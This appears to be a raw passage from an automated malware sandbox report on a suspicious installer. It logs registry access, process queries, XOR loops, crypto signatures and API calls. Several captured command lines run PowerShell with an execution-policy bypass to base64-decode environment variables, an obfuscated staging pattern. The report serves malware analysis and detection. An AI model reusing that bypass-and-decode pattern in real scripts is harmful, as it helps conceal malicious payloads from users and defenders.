"HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING")2e:Tc42,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00005188-00000C15-729917673 [PID: 5188] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00005188-00000C15-729925308 [PID: 5188] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00005188-00000C15-730087615 [PID: 5188] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00005188-00000C15-730094691 [PID: 5188] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00007280-00000C15-731108071 [PID: 7280] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00007280-00000C15-731117096 [PID: 7280] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00007280-00000C15-731307532 [PID: 7280] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00007280-00000C15-731316746 [PID: 7280] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00007280-00000C15-739669306 [PID: 7280] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00007280-00000C15-739677252 [PID: 7280] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00007280-00000C15-740169655 [PID: 7280] "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" queried SystemProcessInformation at 00000000-00007280-00000C15-740177278 [PID: 7280] "msiexec.exe" queried SystemProcessInformation at 00000000-00008736-00000C15-741493337 [PID: 8736] "msiexec.exe" queried SystemProcessInformation at 00000000-00008736-00000C15-741500911 [PID: 8736] "cmd.exe" queried SystemProcessInformation at 00000000-00007916-00000C15-742331704 [PID: 7916] "cmd.exe" queried SystemProcessInformation at 00000000-00007916-00000C15-742351813 [PID: 7916] "cmd.exe" queried SystemProcessInformation at 00000000-00007916-00000C15-742613424 [PID: 7916] "cmd.exe" queried SystemProcessInformation at 00000000-00007916-00000C15-742621101 [PID: 7916] "cmd.exe" queried SystemProcessInformation at 00000000-00009092-00000C15-743384202 [PID: 9092] "cmd.exe" queried SystemProcessInformation at 00000000-00009092-00000C15-743399458 [PID: 9092] "cmd.exe" queried SystemProcessInformation at 00000000-00009092-00000C15-743581493 [PID: 9092] "cmd.exe" queried SystemProcessInformation at 00000000-00009092-00000C15-743588539 [PID: 9092] "cmd.exe" queried SystemProcessInformation at 00000000-00005252-00000C15-744029078 [PID: 5252] "cmd.exe" queried SystemProcessInformation at 00000000-00005252-00000C15-744036411 [PID: 5252] "cmd.exe" queried SystemProcessInformation at 00000000-00005252-00000C15-744199101 [PID: 5252]2f:Te9c,Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-96-00441794 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-96-00441794 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-122-0043C6E6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-122-0043C6E6 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1470-00448373 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1470-00448373 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1472-00407BE3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1472-00407BE3 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1474-00407CE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1474-00407CE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1477-00407E8C Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1477-00407E8C Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1481-00407FA9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1481-00407FA9 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1483-004480B4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1483-004480B4 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1489-004082B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1489-004082B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1491-0040849F Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1491-0040849F Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1493-00408575 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1493-00408575 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1494-0040863C Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1494-0040863C Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1495-00408825 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1495-00408825 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1529-0042F398 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1529-0042F398 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1531-0041BE28 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1531-0041BE28 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1541-0041B79F Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1541-0041B79F Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1557-00428564 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1557-00428564 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1560-0042877B Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1560-0042877B Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1575-0041FF39 Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1575-0041FF39 Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1607-0042156E Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1607-0042156E Assembly shows XOR instruction xor eax ebp in Stream UID: 55750-1626-00422CCA Assembly shows XOR instruction xor ecx ebp in Stream UID: 55750-1626-00422CCA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005188-58135-506-00D1D2D0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005188-58135-506-00D1D2D0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007280-60085-506-005AD2D0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007280-60085-506-005AD2D030:T10e2,Found reference to API "if (-not $b) { exit 1 } [Text.Encoding]::UTF8.GetString(FromBase64String($b)); z{�2LQ �" (Indicator: "FromBase64String"; File: "00000000-00005252") Found reference to API "if (-not $b) { exit 1 } [Text.Encoding]::UTF8.GetString(FromBase64String($b)); z{�2LS� DA" (Indicator: "FromBase64String"; File: "00000000-00001688") Found reference to API "if (-not $b) { exit 1 } [Text.Encoding]::UTF8.GetString(FromBase64String($b)); z{�2LCSE�z" (Indicator: "FromBase64String"; File: "00000000-00007096") Found reference to API "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; File: "AMSI") Found reference to API "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; File: "AMSI") Found reference to API "/c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "cmd.exe") Found reference to API "powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "powershell.exe") Found reference to API "/c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "cmd.exe") Found reference to API "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "powershell.exe") Found reference to API "/c powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "cmd.exe") Found reference to API "powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "powershell.exe") Found reference to API "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found reference to API ") { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found reference to API "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000000.162098.55920000.00000004.mdmp, 00000000-00005780.00000000.162098.572B0000.00000004.mdmp, 00000000-00005780.00000000.162098.57A10000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55920000.00000004.mdmp, 00000000-00005780.00000001.162312.572B0000.00000004.mdmp") Found reference to API "OLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found reference to API "HostApplication=powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command $b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; Source: "00000000-00005780.00000001.162312.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.6FA10000.00000004.mdmp")31:T62f,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains reference to crypto DLLs Matched sigs: Able to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: Uses Windows cryptography API for obfuscation Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly]32:Tf40,Found XOR loop in file "output.exe" at offset 503507; code bytes = 30d0 Found XOR loop in file "output.exe" at offset 578670; code bytes = 30d0 Found XOR loop in file "output.exe" at offset 195693; code bytes = 33c1 Found XOR loop in file "output.exe" at offset 207650; code bytes = 33c1 Found XOR loop in file "output.exe" at offset 207779; code bytes = 33c1 Found XOR loop in file "output.exe" at offset 474531; code bytes = 33c1 Found XOR loop in file "output.exe" at offset 58030; code bytes = 8030 Found XOR loop in file "output.exe" at offset 184268; code bytes = 8030 Found XOR loop in file "output.exe" at offset 464730; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 195835; code bytes = 30d0 Found XOR loop in file "wixstdba.dll" at offset 196039; code bytes = 30d0 Found XOR loop in file "wixstdba.dll" at offset 197343; code bytes = 30d0 Found XOR loop in file "wixstdba.dll" at offset 58442; code bytes = 33c1 Found XOR loop in file "wixstdba.dll" at offset 67186; code bytes = 33c1 Found XOR loop in file "wixstdba.dll" at offset 67315; code bytes = 33c1 Found XOR loop in file "wixstdba.dll" at offset 104196; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 105329; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 192346; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 195364; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 195796; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 196000; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 197324; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 202461; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 205256; code bytes = 8030 Found XOR loop in file "wixstdba.dll" at offset 205503; code bytes = 8030 Found XOR loop in file "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" at offset 503507; code bytes = 30d0 Found XOR loop in file "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" at offset 578670; code bytes = 30d0 Found XOR loop in file "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" at offset 195693; code bytes = 33c1 Found XOR loop in file "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" at offset 207650; code bytes = 33c1 Found XOR loop in file "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" at offset 207779; code bytes = 33c1 Found XOR loop in file "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" at offset 474531; code bytes = 33c1 Found XOR loop in file "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" at offset 58030; code bytes = 8030 Found XOR loop in file "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" at offset 184268; code bytes = 8030 Found XOR loop in file "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" at offset 464730; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 503507; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 578670; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 195693; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 207650; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 207779; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 474531; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 609826; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 58030; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 184268; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 464730; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 613826; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 618259; code bytes = 803033:T66a,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "&Install" - (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "Welcome" - (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "Setup will install hKnEJAJ7MD on your computer. Click install to continue, options to set the install directory or Close to exit." - (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "#(loc.InstallCancelButton)" - (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "Setup Progress" - (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "Processing:" - (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "&Cancel" - (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "hKnEJAJ7MD" - (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "Setup Successful" - (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "GetWindowTextW" with parameter "&Close" - (UID: 00000000-00007280)34:T2f6a,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a0000020000000000740030e9ee76f0d375007cf66f01f63e6c7788f66f00e0f56f0000000000c0f86f0070b56f779cdd80bafeffffffc0f66f001db96c77000000001db96c7710a8740000000000f0d37500f0d3750010a87400000000000000000098c37400686633755c6633750a000b00b2873375e8f66f00bd196d77f0d37500000000008403fe7f00000000f0002c750000000009d7df13bc326f77f5eb6d7700020000f0d37500000000003ca87400180000000000000070f76f00400800000000000000000000000000000100000056256d776cf76f00350100c034a8740044f76f0040733275feffffff70f76f000000000000000000000000000002000054f76f00 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000007400f8f097cdd0ef6f00500f6b77f0ef6f0000000000785c750000000000785c7500000c6b77f0ef6f0000000000785c750088f06f00d10c6b779c5c7500d4f06f0000000000f60c6b778ab00875780000000000000028020000000000008ab00875000000002e008b00a0f06f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000ff000000a103000000000000000000000080000000000000000000000000000000000000000000000000000028020000000000008ab00875000000002e008b00a0f06f00b0e16a7744ef97cd9cf06f00d00b6b77785c750037000000 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000006f0070000177f0747400feffff000a00000a00000000c13f0000f0747400d7e1770000000000d0357600b0d86f0070b56f777cdc80bafeffffff00d86f001c716c770010000008100000087c7400d0d76f00e03fea7400007400000000008403fe7f00000000f800e87400000000942e395ebc326f7759026e7788020000d0357600081000000ca27400180000000000000000000000000000000000000003000000000000000102000060c897cd2cd86f00080000000010000050f9f974000000000000740050f9f97430d86f0024d86f00be606c7701000000be606c7708000000000000000000000008000000b0d86f0054d86f007192ed7400007400 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a0000020000000000570130e9ee76e0d85801a4f12f01f63e6c77b0f12f0108f12f0100000000e8f32f0170b56f779579e449feffffffe8f12f011db96c77000000001db96c7788a6570100000000e0d85801e0d8580188a65701000000000000000088c85701686633755c6633750a000b00b287337510f22f01bd196d77e0d85801000000008403fe7f00000000f0002c750000000009d7df13bc326f77f5eb6d7704020000e0d8580100000000b4a65701180000000000000098f22f01400800000000000000000000000000000100000056256d7794f22f01350100c0aca657016cf22f0140733275feffffff98f22f01000000000000000000000000040200007cf22f01 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a000002000000000057019951b33ff8ea2f01500f6b7718eb2f0100000000a86b580100000000a86b5801000c6b7718eb2f0100000000a86b5801b0eb2f01d10c6b77cc6b5801fceb2f0100000000f60c6b778ab0087578000000000000002c020000000000008ab00875000000002e009501c8eb2f0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000ff000000a10300000000000000000000008000000000000000000000000000000000000000000000000000002c020000000000008ab00875000000002e009501c8eb2f01b0e16a777550b33fc4eb2f01d00b6b77a86b580137000000 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000002f0170000177a8765701feffff000a00000a00000000f83d0000a87657011ff05a010000000070645901d0d32f0170b56f777578e449feffffff20d32f011c716c770010000008100000c07d5701f0d22f01e03fea7400005701000000008403fe7f00000000f800e87400000000942e395ebc326f7759026e7778020000706459010810000094ad570118000000000000000000000000000000000000000300000000000000010200000969b33f4cd32f01080000000010000050f9f974000000000000570150f9f97450d32f0144d32f01be606c7701000000be606c7708000000000000000000000008000000d0d32f0174d32f017192ed7400005701 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000005d0118da4e0500000000f60c6b77b1ae4e7378000000000000002c04000000000000b1ae4e730000000039000400e8d94e05000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000048730000000008da4e050000000000000000008000000000000000000000000000000000000000000000000000002c04000000000000b1ae4e730000000039000400e8d94e05b0e16a770000487380e35c0108da4e05f0d94e05eccc6c77a4667a7700000000000000000000000000000000000000004d726e7700000000010000000800000080e35c011cda4e05127c50760000487300000000 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a000002000000000000004e310000a876570187825f01000000000000000028ed2f0170b56f777578e449feffffffc8ec2f011c716c77e8020000f00200001c04570198ec2f01dcf12f010000570100000000000000000000000000000000000000000000000000000000000000000000000000000000f002000000000000000000000000000000000000000000000000000003000000000000005e000000000000000000000008001000e80200000000000000000000000057010000000000000000ecec2f01be606c7708000000be606c77080010000000000000000000d82f26750000000038ed2f0112cc4f760000570108001000e8020000448f407fdcf12f010a000000 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a000002000000000057015e00000088825f0187825f01000000000d00000040e42f0170b56f777578e449feffffffe0e32f011c716c77e8020000f00200001c045701b0e32f0198e92f010000570100000000482661012100000000000000250020008086620118946201382661010000570138266101f0020000f63e6c77000000000000000000000000000000000000000003000000fce32f015e000000000057010000000008001000e802000090e42f01000000000000570101000000fce32f0104e42f01be606c7708000000be606c77080010000000000000000000d82f26754227147550e42f0112cc4f760000570108001000e80200002c86407f98e92f0100000000 (UID: 00000000-00007280) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007916) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007916) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00009092) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00009092)35:Td3a,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f00000000000000000000010000000000000040267a20fd7f0000000100000000000038267a20fd7f00000000000000000000409d963efd7f000000000000000000000001000000000000701f573efd7f000000007920fd7f000001000000000000002f197920fd7f0000000000000000000038267a20fd7f000000d01500 (UID: 00000000-00005792) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026d523fd7f000000010000000000003826d523fd7f00000000000000000000409d963efd7f000000000000000000000001000000000000701f573efd7f00000000d423fd7f000001000000000000002f19d423fd7f000000000000000000003826d523fd7f000000d01500 (UID: 00000000-00005780) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026d323fd7f000000010000000000003826d323fd7f00000000000000000000409d963efd7f000000000000000000000001000000000000701f573efd7f00000000d223fd7f000001000000000000002f19d223fd7f000000000000000000003826d323fd7f000000d01500 (UID: 00000000-00008992) "wscript.exe" called "GetVersionExA" with parameter 